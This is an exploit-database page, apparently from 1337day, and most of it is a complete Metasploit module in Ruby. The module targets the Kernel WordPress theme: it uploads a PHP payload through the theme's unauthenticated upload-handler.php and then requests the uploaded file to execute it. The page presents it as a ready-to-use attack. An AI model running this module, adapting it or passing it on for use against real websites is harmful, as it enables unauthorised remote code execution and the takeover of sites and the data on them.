facebook facebook twitter rss

WordPress Theme Kernel - Arbitrary code execution

Author: The Black Devils , Published: 14-11-2013
                                                                     



#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#
# _ __ __ __ #
# /' \ __ /'__`\ /\ \__ /'__`\ #
# /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ #
# \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ #
# \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ #
# \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ #
# \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ #
# \ \____/ >> Exploit database separated by exploit #
# \/___/ type (local, remote, DoS, etc.) #
# #
# [+] Site : 1337day.com #
# [+] Support e-mail : submit[at]1337day.com #
# #
# ######################################### #
# I'm The Black Devils member from Inj3ct0r Team #
# ######################################### #
#-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-#
##
# This Exploit must be use in Metasploit Framework
# http://metasploit.com/framework/
# This module created by The Black Devils 1337day team
##


require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE

def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Theme Kernel - Arbitrary code execution',
'Description' => %q{
This module exploits a vulnerability found in Wp Theme Kernel By abusing the upload-handler.php file,
a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
},
'Author' =>
[
'iskorpitx', # initial discovery
'The Black Devils', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ '1337day', '21487' ],
[ 'EDB', '29482'],
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2012'))

register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to wordpress', '/wp'])
], self.class)
end

def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

res = send_request_cgi({
'method' => 'GET',
'uri' => "#{uri}wp-content/themes/kernel-theme/functions/upload-handler.php"
})

if not res or res.code != 200
return Exploit::CheckCode::Unknown
end

return Exploit::CheckCode::Appears
end

def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'

peer = "#{rhost}:#{rport}"

@payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)

data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
data.add_part("#{uri}public/js/uploadify", nil, nil, "form-data; name=\"folder\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

print_status("#{peer} - Uploading payload #{@payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}wp-content/themes/kernel-theme/functions/upload-handler.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if not res or res.code != 200 or res.body !~ /#{@payload_name}/
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end

upload_uri = res.body

print_status("#{peer} - Executing payload #{@payload_name}")
res = send_request_raw({
'uri' => upload_uri,
'method' => 'GET'
})
end
end

Like us on Facebook :